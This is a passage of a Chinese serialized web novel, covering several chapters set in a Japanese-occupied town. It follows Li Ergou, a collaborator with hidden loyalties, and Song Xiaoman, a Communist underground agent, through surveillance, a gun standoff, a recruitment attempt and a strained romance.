推开大门,里面干干净净,桌椅摆放整齐,显然是有人定期打扫。 宋小曼走进院子,看着熟悉的石榴树,熟悉的葡萄架,还有廊下那把她常坐的竹椅,百感交集。 过往的种种就像放电影一样在她脑海中闪过。 她第一次在这里见到李二狗时,他还是一个穿着粗布短褂的下人,可如今,整个胡家大院都是他一个人说了算。 “这些年,我一直让人定期打扫这里。”李二狗站在她身后,声音轻柔,“我总想着,万一有一天你回来了,还有个地方可以住。” 宋小曼转过身,看着他那张被朦胧的月光照亮的侧脸,泪水又忍不住涌了上来。 她刚才还在骂他是汉奸,可他却一直惦记着她,守着这个院子等她回来。 如果他真的投靠了日本人,那她该怎么办呢? 杀了他吗? 她怎么可能下得了手?! 可不杀他…… 宋小曼的心纠结成了一团乱麻。 “二狗,你和我说实话,你到底有没有……” 她刚想问什么,却被李二狗打断了。 “小曼,我现在的确是仙人洞镇维持会会长,我知道你恨我当‘汉奸’,但这里面的苦衷,我以后再慢慢告诉你。”他看着她的眼睛,语气变得无比郑重,“但你要相信我,我李二狗这辈子,绝不会做对不起国家、对不起百姓的事。” 月光洒在两人的身上,将影子拉得很长很长。 宋小曼看着他眼底的坚定,心里的疑虑终于渐渐消散了。 她知道李二狗的为人,或许,他真的有不得已的苦衷。 “先进屋吧,夜里凉。” 李二狗伸手,替她擦去脸上的泪痕,宋小曼没有躲。 指尖触碰到她脸颊的那一刻,两人都愣住了,仿佛有一股电流穿过两人的整个身体。 过往的情愫,此刻的信任,还有未来的未知,全部交织在一起,在这寂静的院子里悄然蔓延。 李二狗知道,他终于再次抓住了这束光,而这一次,他绝不会再放手。 进入屋中,李二狗没有点灯,而是一把抱住宋小曼,火热的唇立刻吻住了她更加炙热的舌。 “二狗……我……” 李二狗在她耳边呢喃道:“小曼,我要和你做一夜!” 宋小曼彻底沦陷在李二狗的柔情里,什么汉奸不汉奸的,早已被她跑到了九霄云外,屋内只剩下那张红木床在“吱咛吱咛”的发出声响…… 李二狗没有食言,一直到天色破晓之时,两人才沉沉睡去。 当宋小曼身姿绰约地出现在胡家大院时,众人全部惊呆了! “三奶奶回来了!” 这个消息瞬间传遍了整个胡家大院。 消失多年的三姨太宋小曼竟然在胡士高死去多年之后重新出现在胡家大院。 “二狗,她怎么回来了?” 胡家大院最了解李二狗的人是李素文,宋小曼回来的如此突然又蹊跷,李二狗肯定知道内情。 “也许是在外边过不下去了吧?日本人来了,外边的日子很艰难。” 李素文盯着李二狗的眼睛,李二狗没有躲闪,而是笑嘻嘻地和她对视着。 “你真不知道她为什么回来?” 胡士高四个老婆之中,宋小曼是最有气质的一个,而气质比容貌更容易打动男人。 李二狗装作很无辜地说道:“我怎么会知道?我也是刚刚知道她回来了。” “那以后怎么办?让她留下来吗?” “不然呢?这里是胡家大院,她是胡家大院的三奶奶,咱们没有任何理由不让她留下来啊?” 李素文知道这是李二狗的借口。 如果不想让她留下来,李二狗有一万种办法可以赶她走! 正在这时,宋小曼走了进来,此时她已知晓了李二狗和李素文的关系。 “四妹妹,奥,不对,现在应该改口叫李太太了吧?”宋小曼阴阳怪气地说道。 李素文平素是一个与世无争的人,但现在她不得不站出来。 “三姐,你这离家多年,怎么突然又回来了?在外边过不下去了?” 宋小曼反问道:“胡家大院是我的家,难道我不能回来吗?” 她故意把“胡家”字说的很重,李素文的脸红了! 第653章 遛二驴 李二狗看着眼前剑拔弩张的两个女人,后背已经沁出一层冷汗。 宋小曼站在屋檐下,一身素色的短褂,眼神冰冷。 李素文则攥着旗袍的衣角,胸脯起伏,脸上明摆着藏不住的火气。 他生怕这两个女人真动起手来,赶紧打岔,语气里带着一种刻意的轻松。 “三奶奶,你以前住的院子我已经让人打扫出来了,要是有什么需要添置的,尽管告诉我,我让人去办。” 宋小曼昨晚和他相拥整夜的余温仿佛还在身上,可一想到李二狗和李素文的关系,那点温情就被怒火浇得精光,只觉得自己是一个上当受骗的傻子。 她瞥了一眼站在李二狗身边的李素文,嘴角勾起一抹冷笑。 “多谢李管家费心,我什么都不缺。”她顿了顿,声音提高了八度,像是故意说给李素文听的,“我来就是告诉你们,以后我就在大院住下,不走了。” 李二狗心里咯噔一下,赶紧满脸堆笑道:“三奶奶说的哪里话?这里本就是你的家,自然住得。” “那就告辞了。” 宋小曼懒得再看他和李素文站在一起的样子,转身就走,步子又快又急,地上的花瓣都被她带起的风扫得四处纷飞。 她越走越气,心里把李二狗骂了千百遍。 没想到他不仅当了汉奸,还和李素文搞到了一起,这叫什么事? 真是叔能忍,婶都不能忍! 李素文看着宋小曼那妙曼却带着挑衅的背影,气得直跺脚,转过身瞪着李二狗:“李二狗,我警告你,以后给我离这个女人远一点!哼!” 说完,一甩袖子进了屋,门“砰”地一声关上,震得窗纸都颤了颤。 李二狗站在原地,只觉得自己里外不是人。 他知道,宋小曼此番突然回来,绝非偶然。 前两年他去鄂豫皖根据地寻求理想的时候,和她一起患过难,深知她的真实身份。 这次她不仅回来,身上还带着枪,昨晚差点就把他这个“汉奸”给毙了,这里面一定有文章。联想到眼下日本人占领了江东,她回来的目的,恐怕不简单。 思来想去,李二狗找到张二驴。 穿过两道月亮门,就看到张二驴正指挥着伙计打扫院子,见李二狗过来,赶紧堆起笑。 “狗哥,你找我?” “二驴,过来。”李二狗往旁边的廊下挪了挪,压低声音道,“最近你多留意着三奶奶的动向,她去哪、见了谁,有任何情况,立刻向我汇报。” 张二驴明显一愣,脸上露出一副“我懂的”表情,嘴角似笑非笑地往上翘了翘。 李二狗一看就知道这小子想歪了,准是以为自己怕两个女人争风吃醋,才让人盯着宋小曼。 “你狗日的别胡思乱想!”李二狗照着他的后脑勺拍了一下,语气严肃,“老子没你想的那么龌龊。” 张二驴摸着自己的后脑勺,嘿嘿一笑,露出一口大白牙。 “狗哥,我没多想,就是……就是不明白,为啥要盯三奶奶啊?” “她这时候突然回来,你不觉得可疑吗?”李二狗顿了顿,“当年她走得那么急,现在一声不吭就回来了,你觉得正常吗?” 张二驴这才收起玩笑的心思,摸着下巴琢磨起来。 “这么一说,还真是有点蹊跷。不过……”他挠了挠头,“三奶奶一个女人家,能有啥来头?狗哥,你是不是太紧张了?” “少他娘的废话!”李二狗瞪了他一眼,“让你盯紧就盯紧,记住,千万别让她发现了。” 张二驴见李二狗说得如此郑重,赶紧立正站好,拍着胸脯保证道:“放心吧狗哥,这事包在我身上,保证盯得严严实实,一根头发丝都漏不了!” “还有,”李二狗又叮嘱了一句,“这事你亲自去办,除了你我,不能让第三个人知道。” “我懂!狗哥你放心吧!” 张二驴点头如捣蒜,心里却嘀咕——不就是盯一个女人吗?搞得跟地下党接头似的。 李二狗安排完之后,张二驴就蹲在胡家大院前门的一棵老槐树下等着。 没过多久,就见宋小曼提着个帆布包从里面走了出来,她一身蓝布衫,头上裹着块头巾,看着像个普通的农家妇女。 张二驴赶紧缩了缩脖子,躲在树后,心里暗自得意。 穿成这样,还想逃过老子的眼睛? 哈哈,未免太小看我张二驴了。 他猫着腰,远远地跟了上去,心里盘算着,等会儿她要是去见什么可疑人物,自己就赶紧回去报信,说不定还能得狗哥一句夸奖。 可他哪里知道,刚走出没半条街,宋小曼就察觉到了身后的尾巴。 她嘴角勾起一抹不易察觉的笑容,可脚步却没有停,依旧慢悠悠地往前走。 多年的地下工作,让她练就了一身警觉的本事,身后那道黏糊糊的目光,隔着半条街都能感觉到。 她不用想也知道,肯定是李二狗派来的人。 宋小曼故意拐进一条热闹的巷子,里面全是卖菜的、挑担子的,人挤人。 张二驴为了跟上她,差点被一个卖糖葫芦的撞翻。 等他好不容易挤出人群,就见宋小曼站在一家布庄门口,正低头看着布料,仿佛压根没察觉身后的混乱。 张二驴喘着粗气,刚想找个地方歇脚,宋小曼却转身进了布庄。 他赶紧跟过去,趴在窗户缝里往里看,只见她和掌柜的讨价还价,买了一块靛蓝色的布,卷起来放进手提包里,又慢悠悠地走了出来。 接下来的一个时辰,宋小曼像是逛集市上瘾了。 她先去了杂货铺,买了些针线;又转到街角的糖画摊,站着看了半天,买了一个孙悟空的糖画;最后,竟走进了一家胭脂铺,对着镜子挑挑拣拣,买了一盒玫瑰膏。 张二驴跟得腿都快断了,满头大汗,粗布褂子湿得能拧出水来。 他一会儿躲在电线杆后,一会儿藏在卖西瓜的摊子旁,生怕被发现,可宋小曼却像是故意遛他似的,走得不快不慢。 每次他以为要跟上了,她就拐进了另一条巷子里,让他一阵好找。 第654章 宋书记 在胭脂铺门口,张二驴蹲在对面的墙根下,看着宋小曼对着镜子涂抹胭脂,心里急得直冒烟。 这个女人到底要干啥? 买这些玩意儿,难道她还真是回来过日子的? 胡地主都死去好几年了,她回来和谁过日子? 难道和李二狗吗? 李二狗和于兰芝、李素文已经搞到了一起,宋小曼也要掺和进来吗? 想到这些,张二驴便一肚子的羡慕嫉妒恨。 两人同样是穷小子出身,同样是胡家大院的管家,可李二狗能把胡地主的几个美娇娘全部纳入自己的射程。而自己呢?只配娶个丫鬟。 真是人比人得死,货比货得扔! 难道宋小曼此番回来,就是为了投入李二狗的怀抱? 想想也是合情合理,一个女人,终归还得指望男人过生活。 李二狗在整个江东,要钱有钱,有地位有地位,还长得一表人才,自己如果是个女人都想嫁给他。 张二驴气得心里直骂娘,他真想一走了之,不再跟踪宋小曼。 可转念一想,李二狗的话又不能不听,说不定这就是她的障眼法。 好不容易等宋小曼从胭脂铺出来,开始往回走,张二驴赶紧打起精神跟上她。 只见她提着小坤包,慢悠悠地穿过巷子,脚步轻快,一点不像逛了半天街的样子。 快到胡家大院时,宋小曼突然停下脚步,抬头看了看天空的方向,像是自言自语似的说道:“这天可真热,跑了半天,怕是累坏了吧?” 躲在树后的张二驴吓得浑身一哆嗦,他以为自己被发现了,赶紧捂住嘴,大气都不敢喘一下。 等了半天,见宋小曼已经进了院门,他才敢探出头,擦了擦脸上的汗,心里纳闷。 她这话是说给谁听的? 其实宋小曼早就知道张二驴躲在那里,她刚才那句话,不过是逗逗他罢了。 她走进院子,回头看了一眼院门外,嘴角露出一丝浅笑。 李二狗倒是谨慎,可惜派来的人,太嫩了点。 张二驴气喘吁吁地跑回李二狗那里,把宋小曼买布、买针线、买胭脂的事一五一十说了一遍。 最后他拍着大腿说道:“狗哥,我看三奶奶就是回来过日子的,没啥可疑的!” 李二狗听着,没说话,手指无意识地在桌面上轻轻敲打着。 买胭脂水粉?这可不像是宋小曼的作风。 她一向高冷,之前就经常素面朝天,如今更是没有涂抹胭脂水粉的理由。 他抬头看了一眼张二驴那满头大汗的样子,心里大概明白了。 这小子,被宋小曼耍得团团转还不知道呢。 张二驴根本不是宋小曼的对手,看来自己还是小瞧她了。 “知道了。”李二狗挥了挥手,“二驴,你先下去歇着吧,以后多加留意她的举动。” “狗哥,”张二驴还是说出了心中的困惑,“那以后三奶奶再出门,我还跟不跟?” 既然不是宋小曼的对手,再让张二驴跟踪,反而会适得其反。 “不用跟踪了,你只注意她的大院的举动即可。” 张二驴虽然纳闷,还是点头答应了。 他走后,李二狗看着窗外,眼神深邃。 宋小曼这一手,明着是逛街,实则是在试探。 她不仅知道有人跟踪,还能不动声色地把人遛得够呛,这斗争经验,可比张二驴这愣头青丰富多了。 看来,宋小曼这次回来,确实不简单。 李二狗的眉头皱得更紧了。 他必须更加谨慎一些,既要防着日本人、孙竹刚,还得琢磨着宋小曼的真实目的。 他夹在中间,真是半点都不敢松懈。 李二狗决定亲自跟踪宋小曼,他就不信她会一直按兵不动。 为了不引起宋小曼的怀疑,李二狗特意和大院里的人交待,自己要到县里去开会。 其实他并没有离开仙人洞镇,而是隐藏在了离胡家大院不远处的一个阁楼上,从那里可以观察到胡家大院门前的一举一动。 当天晚上,宋小曼便出了门。 其实她不想走正门,但所有的侧门、后门和偏门都被李二狗以安全为由关闭了,出入胡家大院只能走正门。 宋小曼出了院门之后便拐进了旁边的一个胡同里,李二狗可以清楚地看到她躲在胡同口密切观察着胡家大院的动向。 一直在那里观察了四五分钟,确定没有人跟踪之后,她才放心地走出胡同向镇子西面走去。 李二狗赶紧跟了上去。 宋小曼时刻保持着警惕,她走一段距离之后便会突然转身看看身后,要不是李二狗足够机警,早就被她发现了。 宋小曼兜兜转转了一圈之后,来到一座四合院门前。 她再次警惕性地看了看身后,确定没人跟踪之后才敲了敲院门。 很快,里面便有人打开了院门,宋小曼走了进去。 这座四合院很陌生,李二狗记不清是谁家的。 但宋小曼离开仙人洞镇也有几年的时间,她刚回来就能准确地找到这个地方,想来这是她们的一个秘密联络点。 李二狗此时已经确认,宋小曼回到胡家大院是带着任务回来了。 具体是什么任务,李二狗虽然尚不清楚,但从她要枪毙了自己这个“汉奸”来看,她是回来抗日的。 一个女人,面对凶残的日本鬼子,她又能做些什么呢? 李二狗此刻更关心的是宋小曼的安全,而不是她究竟见了谁,要做些什么! 他躲在一个隐蔽的地方,等着宋小曼出来。 宋小曼在里面待了足足一个多时辰才出来。 从院子里出来的并不是只有她一个人,而是有七八人之多。 “宋书记,你真的要亲自去吗?这太危险了。” 一个戴着眼镜的中年男人貌似很关心宋小曼的安危,出门的时候还再相劝。 李二狗顿时有一种吃醋的感觉。 老子的女人还用得着你关心吗?他心里暗骂道。 宋书记?李二狗在鄂豫皖根据地的时候听过“书记”这个称呼,怎么宋小曼也成书记了? 她要去什么危险地方? 宋小曼神色轻松地说道:“为了表达我们的诚意,我必须亲自去一趟,我相信他们都是一群深明大义的人,不会有什么危险的!” 第655章 灵魂三问 正当李二狗听得稀里糊涂之时,宋小曼等人已经作鸟兽散。 看着众人散去之后,李二狗赶紧跟上了宋小曼的步伐。 在一个十字路口,本该左转之时,宋小曼却突然右拐进入了一个胡同。 那个方向并不是回胡家大院的路。 李二狗心里不禁一惊,难道她现在就要去那个危险的地方? 想到这,李二狗赶紧跟了上去。 刚拐过弯,一个黑洞洞的枪口就对准了他的脑袋,持枪之人正是宋小曼。 胡同里突然刮起了一阵风,风里带着一股霉味,卷起地上的几片枯叶,打着旋儿掠过李二狗的脚边。 李二狗看着宋小曼手里那黑洞洞的枪口,心里一紧,他怎么也想不到,短短几天的时间,自己会被她用枪指着两次。 他平生最恨别人用枪指着他的头! 可持枪之人是宋小曼,他只能乖乖地接受这个残酷的现实。 宋小曼的手指扣在扳机上,表情显得非常冷漠,可李二狗能清晰地感觉的到她眼里没有一点杀意。 “李管家,跟踪我这么久,真是辛苦你了。” 她刻意把“李管家”三个字咬得很重,像是在提醒他如今的身份,语气里的揶揄就像一根带刺的藤条,缠得李二狗心里发紧。 她其实早就察觉身后有尾巴跟随,本以为是张二驴那蠢货又跟来了,没想到拐过街角,对上的竟是李二狗的脸。 这让她心里那点好不容易压下去的火气,又“腾”地冒了上来。 李二狗看着她眼里的嘲讽,索性不再掩饰。 他往前走了半步,枪口几乎要贴到他的额头上。 “小曼,你这是要去哪里?” 他刚才看到她拐进这条胡同,心里就咯噔一下,这方向根本不是回胡家大院的路。 宋小曼被他这副紧张的样子刺了一下,猛地想起今天早上在院子里,他和李素文站在一起的画面。 那女人眼里的占有欲就像一根钢针,扎得她心口一阵阵发酸。 她猛地偏过头,刻意避开他的目光,语气又变得冷淡下来。 “我去哪里,还要向你报告吗?李二狗,你是我什么人?” “我……”李二狗被问得一噎,张了张嘴,却发现自己竟找不到一个合适的身份回答她。 他不是她的丈夫,不是她的亲人,如今还顶着“汉奸”的名声,连说一句关心的话都显得底气不足。 他望着宋小曼那双写满哀怨的眼睛,喉结滚动了一下,声音里带着一丝自己都没察觉的恳求。 “小曼,你别这样好吗?我只是担心你。” “呵!担心我?”宋小曼像是听到了什么笑话,突然笑了起来,笑声在空旷的胡同里回荡着,却带着一种说不出的悲凉。 “你是我什么人?凭什么担心我?我用得着你担心吗?” 这灵魂三问像三颗石子,狠狠地砸进李二狗的心里,瞬间激起千层浪。 他张了张嘴,想说“我是你男人”,想说“我心里有你”,可话到嘴边,却被“维持会会长”这顶帽子压得说不出口。 是啊,他现在是人人唾弃的汉奸,有什么资格对她的行为横加干涉? 更何况他和李素文的关系已经公之于众,他又以何身份与她相处? 以宋小曼的性格,她是不会和别的女人共享一个男人的! “小曼,我真的很担心你。”他只能重复这句话,语气里带着深深地无力感,“你不知道,江东现在的局势有多复杂,日本人像疯狗一样盯着每一个可疑的人,你一个女人……” “女人怎么了?”宋小曼突然提高了声音,枪口往前顶了顶,眼里闪过一丝怒火,“你是看不起女人,还是看不起我?李二狗,别以为你当了个维持会会长,就什么事都在你的掌控之中!” 她的话像一把尖刀,狠狠地扎进李二狗的心窝里。 “你要真有能耐,就不该去当汉奸!”这句话几乎是吼出来的,带着恨铁不成钢的痛心,“你应该拿起枪,把小鬼子赶出江东,赶出中国!” 话一出口,宋小曼就后悔了。 她看到李二狗的脸“唰”地一下红了,从脸颊一直红到耳根,像是被人当众扇了一巴掌。 她知道这句话有多伤人! 她比谁都清楚,李二狗不是一个贪生怕死的人,当年在鄂豫皖根据地,他为了掩护自己,差点把命丢在山沟里。 可话已经说出去了,就像泼出去的水,收不回来了,她也绝不可能向李二狗低头道歉。 李二狗确实很久没红过脸了。 这些年在刀尖上讨生活,早就练就了一副厚脸皮,被人指着鼻子骂“汉奸”也能做到面不改色。 可宋小曼这句话,却像一把锋利的尖刀,精准地剖开他那层伪装的硬壳,直戳心窝子。 他知道她说得对。 他总以为自己能掌控一切,能在日本人的眼皮子底下护着清风集团,护着江东的百姓。 可到头来,却什么都改变不了,连一句辩解的话都说不出口。 他当维持会会长,确实是忍辱负重。 他以为这样就能护住身边的人,可宋小曼的话像一面镜子,照得他无所遁形。 他做的这些,不过是扬汤止沸,治标不治本。 要想真正拯救这个国家,拯救这些百姓,必须把日本鬼子彻底赶出中国。 可凭他一个人,行吗? 如果自己不行,那又倚靠谁呢? 他想起国军在各大战场上的接连溃败,广播里天天喊着“誓死抵抗”,可战线却一退再退。 国民政府自顾不暇,根本管不了江东这小地方。 那倚靠谁呢? 李二狗的眼神渐渐迷茫起来,像一艘迷失在雾里的船。 他看着宋小曼,突然发现自己好像从来没真正懂过她。 她身上那股子决绝,那股子不管不顾的勇气,是他现在最缺少的东西。 “我……” 他想说些什么,却发现喉咙像是被什么东西堵住了,什么也说不出来。 迷茫和彷徨像潮水一样涌上来,淹没了他平日里的镇定和算计。 当年去鄂豫皖根据区没有解开的谜团,此刻又重新萦绕在他心头。 第656章 收编清风集团 宋小曼看着李二狗这副失魂落魄的样子,心里的火气也慢慢消解了,取而代之的是一丝复杂的心疼。 在这乱世之中,想要生存下去,没有一个人是容易的! 她慢慢地放下枪,枪口垂到身侧,声音也低了下来。 “你自己好自为之吧。” 说完,她转身就要走。 李二狗突然上前一步,抓住了她的手腕。 她的手腕很软很细,在他的大手里微微颤抖了一下。 “小曼,别去冒险,好吗?”他的声音很轻,却包含着对宋小曼深沉的爱,“江东这潭水太深了,你斗不过他们的。” 宋小曼猛地甩开他的手,眼里又恢复了那层冰冷的神色。 “斗不斗得过,不是你说了算!斗不过难道就不斗了吗?如果都像你这样甘于当亡国奴,那中国还有救吗?别再跟着我,否则别怪我对你不客气!” 她不再看他,转身快步走进胡同深处,身影很快便被无尽的黑暗吞没了。 李二狗站在原地,手里还残留着她手腕上的温度。 胡同里的风更冷了,吹得他打了一个寒颤。 他不知道宋小曼要去做什么,也不知道自己坚持的这条路到底对不对。 他只觉得心里空落落的,像被谁掏走了一块。 迷茫和彷徨就像藤蔓一样缠绕上来,勒得他喘不过气。 他慢慢地转过身,朝着胡家大院的方向走去。 他的脚步有些沉重,每一步都像是踩在棉花上,虚浮得厉害。 他第一次开始怀疑,自己忍辱负重换来的这一切,到底值不值得。 李二狗失魂落魄地回到胡家大院。 “狗哥,你怎么了?” 李二狗仿佛没有听见张二驴的声音,他只是轻轻地摇了摇头,径直走进了大院。 他度过了一个混混沌沌的夜晚。 第二天一早,他便来到宋小曼居住的四合院,她确实一夜未归! 彻夜不归,她去哪了? 人就是这样,别人越不搭理你,你心里越像猫抓一样。 李二狗寝食难安,骑上马围着仙人洞镇转了几圈,一直没有发现宋小曼的身影。 没有事情发生也是好事,至少证明宋小曼没有出事。 傍晚时分,秀才在张二驴的引领下,突然出现在李二狗面前。 李二狗心里一惊,没有紧急的事情,秀才是不会突然造访的。 “狗哥,我有要事向你汇报。” 果然和李二狗猜测的一样。 “进屋说。” 进入屋中,李二狗急忙问道:“秀才,是不是集团出什么事了?” 秀才忙说道:“狗哥,集团没出事,是其他重要的事情。” 李二狗内心稍安,只要集团不出事,其他的事都不算大事。 “什么事?说吧。”他招招手,示意秀才坐下。 “狗哥,今天上午,有一个人来到咱们集团,说要收编咱们。” “想要收编咱们?” 李二狗闻言不免大吃一惊,在江东县,还有人敢收编清风集团? 放眼整个江东,除了日本人,没有任何一股力量能与清风集团相抗衡! 第657章 无处安放的情感 夜色阑珊,仙人洞镇的晚风带着秋末独有的萧瑟,穿堂过巷,吹得窗纸簌簌轻响。 李二狗眉头紧皱,整个人陷在冗长的沉思里。 秀才低声问道:“狗哥,你到底是什么意见?我好回去提前做好应对的准备。” 时隔多年,每每忆起当年在鄂豫皖根据地的旧事,李二狗依旧心有余悸。 他曾亲眼目睹他们内部残酷的争斗,对待自己的同志比对待敌人还要凶狠,他自己险些把一条性命断送在红军手中。 那一场凶险历历在目,刻在骨血里,叫他如何不忌惮? 如今听闻收编一事,他打从心底里不敢应承。 他手上握着上千号弟兄,他们都是穷苦百姓出身,上山当土匪只是为了能在这个乱世活下去。 他一己之念,关乎上千条性命,半分赌不得,半分错不得。 可他心底,偏藏着一桩执念,念念放不下——宋小曼。 这些年他一直在求权、求财,可他知道如今自己最大的奢望,便是能守着宋小曼,与她一同立足这乱世之中。 此番收编清风集团,是宋小曼亲自出面,她一定身负组织的嘱托,关系重大。 倘若他这边一口回绝,不知道宋小曼会不会受到她们组织的责罚。 一想到那个傲骨铮铮的女子要因自己受难,他心口便一阵阵发紧,万般不忍。 可私情再重,重不过千人的性命。 他不能为了一己的儿女情长,拿集团上千号兄弟的性命当儿戏。 乱世之中,步步惊心,他赌不起,更赔不起。 权衡良久,李二狗压下心底所有缱绻与不忍,语气沉缓地对秀才吩咐道:“我们对共产党了解尚浅,还是先观望一阵再说吧。你回去,婉言回绝了她。” 秀才心中的想法与李二狗完全一致。 宋小曼一介女子,没钱、没兵、没地盘,想仅凭一张嘴,便收编他们这支千人队伍,实在是太过天真了。 乱世之中,凭实力定输赢,单凭一腔热血,便想撼动一方势力,无异于痴人说梦。 秀才领命而去,屋内瞬间归于死寂。 灯影摇曳,孤灯照人,李二狗再无半分坐得住的心思。 他心里清楚,宋小曼之所以回到胡家大院,完全是为了胡家大院三奶奶这个身份。 胡家大院三奶奶的身份最是掩人耳目。 另外自己是仙人洞镇维持会会长,反倒成了她从事地下工作最稳妥的掩护。 只是如今世道动荡,一个女子深夜在外奔波,李二狗还是非常担心她的安危。 他不放心,便来到宋小曼院门口静静等候着。 月上中天,夜露深重,不远处终于传来一阵轻缓的脚步声。 李二狗轻声唤道:“小曼。” 宋小曼刚走到院门口,看到李二狗从黑暗中走出,知道他已在此等候了许久,眼底掠过一丝感动。 可这点感动,转瞬便被理智压了下去。 经过党的多年培养和历练,如今她已是意志极其坚定之人,早已把私情与大义分得清清楚楚。纵然知道李二狗彻夜等候是一片真心,她也半分不肯动容。 她眉眼清冷,语气带着几分讥讽。 “李管家,夜深人静,你堵在我院门口,怕是不合适吧?这个时候,你太太该找你了。” 她话里明显带着淡淡的醋意。 李二狗心头酸涩,却半句也不和她计较 “这两天你去哪里了?外头兵荒马乱的,你一个女人实在是太危险了。” 李二狗的话字字句句皆是肺腑之言,可宋小曼根本不领情。 她忍不住讥讽道:“孔老夫子都死了两千年了,没想到李管家依旧这般封建!女人怎么了?我就是再柔弱也绝不会做那卖国求荣的汉奸!” 一句话,直直戳中李二狗最痛的软肋。 他浑身一僵,胸口堵得发闷,万般委屈、无奈、苦楚齐齐翻涌上来,几乎压得他喘不过气。 他语气近乎哀求道:“小曼,你何必如此讽刺我?我没有别的意思,只是关心你。” 宋小曼心中百转千回,面上却依旧冷若冰霜。 她一声轻笑,说道“多谢李管家挂念,我一切都好,就不劳你费心了。夜深了,还请李管家回去吧,别让你家太太等着急了。” 李素文说完抬手推开院门,直接走进院中,紧跟着“哐当”一声,木门又重重地合上。 夜风萧瑟,孤影伶仃。 李二狗独自站在院门外,望着紧闭的木门,万般情绪涌上心头,欲哭无泪。 他一腔深情,可在她面前竟一文不值。 一边是上千名弟兄的身家性命,一边是挚爱的心头之人,进退皆是绝境。 这份无人知晓的煎熬,无人体谅的苦衷,只能独自咽下。 院门之内,宋小曼背靠着微凉的门板,方才强撑出来的冷漠,瞬间瓦解。 四下无人,无人窥见她眼底翻涌的万般复杂。 世人皆见她冷艳,唯有她自己清楚,她对李二狗的情意,热辣滚烫! 她不是铁石心肠的女人,她怎么感受不到李二狗对自己的情意。 可她对组织的信仰,横亘在二人之间,终是跨越不过的天堑。 她可以体谅乱世之中身不由己的苦衷,却绝不能接受他汉奸的身份。 汉奸二字,是她信仰里的大忌,注定二人难以相容。 更何况,如今的李二狗早已与李素文相伴相守。 于信仰,于情理,于道义,她都不能再和李二狗发生任何情感上的纠葛。 爱意真切,恨意真切,失望真切,无奈亦真切。 她心底爱他入骨,却只能厌他身份、避他情意、拒他真心。 明知他两难,明知他深情,明知他隐忍,可她别无选择。 她只能硬生生压下满腔柔肠,用冷漠作铠甲,用决绝断牵绊,亲手推开此生最放不下、最舍不得的人。 庭院寂寂,夜风穿庭而过,吹起细碎叶落。 宋小曼静静地伫立在门后,眼底五味杂陈,千般纠葛缠绕于心。 爱恨两难,取舍两难,终究只能藏尽柔情,守住本心,任由满心悲凉,在寂静深夜里层层漫延,无处安放。 第658章 打破砂锅问到底 宋小曼三天之后再次来到清风集团。 秀才委婉且坚决地拒绝了她收编的提议。 宋小曼仍不死心,一千多号人的队伍,这对于共产党来说,是他们在江东能不能快速站稳脚跟的关键。 “如今国难当头,每一个有良知、有热血的中国人都应该联合起来共同抵抗日本帝国主义的侵略,我希望你们再认真地考虑一下我党的提议。” 秀才微微一笑,不紧不慢地说道:“贵党的提议我们都已经认真考虑过了,我们集团有我们集团自己的筹划,我们自己也可以打击日本鬼子。” 宋小曼突然觉得眼前这个人的笑容和李二狗是如此的相似,或者说,这个人在刻意模仿李二狗,难道李二狗和清风集团有牵扯? “既然你们也有抗日的计划,为什么不加入我们呢?我们可以团结起来一起抗日,中国人只有拧成一股绳才能够战胜强大的日本帝国主义。” 秀才依旧保持着和李二狗一样的笑容。 “我想问一下,贵党在江东有多少人马?” “目前还没有。” 宋小曼没有丝毫掩饰,她深知组织的动员能力,她相信用不了多久,她们党一定会在江东建立起自己的武装力量。 秀才努力憋着笑,他不忍出言讥讽一个漂亮的女人。 “实在抱歉,我待会儿还有个会,要不今天咱们就先谈到这吧?恕不远送啊。” 宋小曼对秀才下的逐客令并没有感到难堪。 “我知道,你对我们共产党还不了解,我相信等你了解了我们的党的宗旨和远大目标,你一定会同意加入我们的。” “那就等了解之后再说吧,您请便!” 秀才说完便了站起来,宋小曼知道此事的艰难,绝非一两次会面就能达到目标。 “好,那我就不打扰了,不过有句话我还想提醒当家的,我党的宗旨是团结一切可以团结的力量共同抗日。只要你真心抗日,不管加不加入我们,我们都是一条战线的人。如果要是投靠日本人当了汉奸,我相信当家的懂我的意思。” 秀才心想,你们既没人也没枪,竟还敢出言威胁,实在是有些自不量力。 他本想发火,但想到李二狗的叮嘱,不允许和她发生任何冲突,便强迫自己忍了下来。 “送客!” 宋小曼走出聚义厅,看着漫山遍野的红旗在迎风招展,她突然有一种回到当年鄂豫皖根据地的感觉。 这个地方实在太适合打游击战了。 宋小曼暗暗发誓,一定要让清风集团加入到革命队伍中来。 “三奶奶,您是三奶奶吗?” 望冬远远地看见宋小曼便觉得有些眼熟,她走近一看,果然是胡家大院的三姨太宋小曼。 宋小曼看着兴奋的望冬,也觉得这个女人非常眼熟,但一时又想不起在哪里见过。 “你是……” “我是望冬啊,四奶奶的丫鬟望冬,您不记得我了?” 宋小曼这才恍然大悟,确实是望冬,李素文的贴身丫鬟。 “望冬!怎么是你?你变化可太大了,我都没认出你来。” 宋小曼惊讶地看着望冬,她穿着一身干练的黑色套装,齐耳短发,腰里扎着一条腰带,上面别着两把驳壳枪,已经完全没有了以前的样子。 望冬现在是清风集团的核心领导,她早已不是往日的丑小鸭。 “三奶奶,您怎么在这里?来找狗……”望冬刚要说出李二狗的名字,突然意识到不对劲,赶紧改口道:“来找谁的?” 宋小曼当即听出望冬刚才顺口说出的“狗”字肯定是指李二狗,这个李二狗果然和清风集团有牵连。 “我正想问你呢,望冬,你怎么离开胡家大院上山当土匪了?” 望冬只好如实说道:“三奶奶,我嫁人了,所以离开了胡家大院。” “嫁人了?恭喜你啊,望冬,你既然嫁人了,为何还要上山当土匪呢?” “嫁鸡随鸡,嫁狗随狗,他在这里,所以我也就只能在这里了。” 宋小曼想多打听一些清风集团的消息,便说道:“望冬,不请我去家里坐坐吗?咱们好多年没见了。” 望冬经过这几年在集团的历练,已经不是当初那个不谙世事的小丫头。 刚才她问宋小曼到山上来的目的,宋小曼没有正面回答。 现在她又主动提出去家里坐坐,其实她们俩并没有多么熟,当初在胡家大院,她们之间几乎没有说过几句话。 很明显,她有其他目的。 但她提出的这个要求合情合理,望冬没有拒绝的理由,她只好暗暗提醒自己,一定要谨言慎行。 “你看我,光顾着高兴了,都忘了请您到家里坐坐了,三奶奶,快家里请。” 来到望冬家里,宋小曼从屋里的陈设判断,望冬,或者说是她的丈夫,一定是清风集团的一个重要头领。 “三奶奶,您坐啊,喝点水。”望冬倒了一杯水,热情地招呼宋小曼坐下。 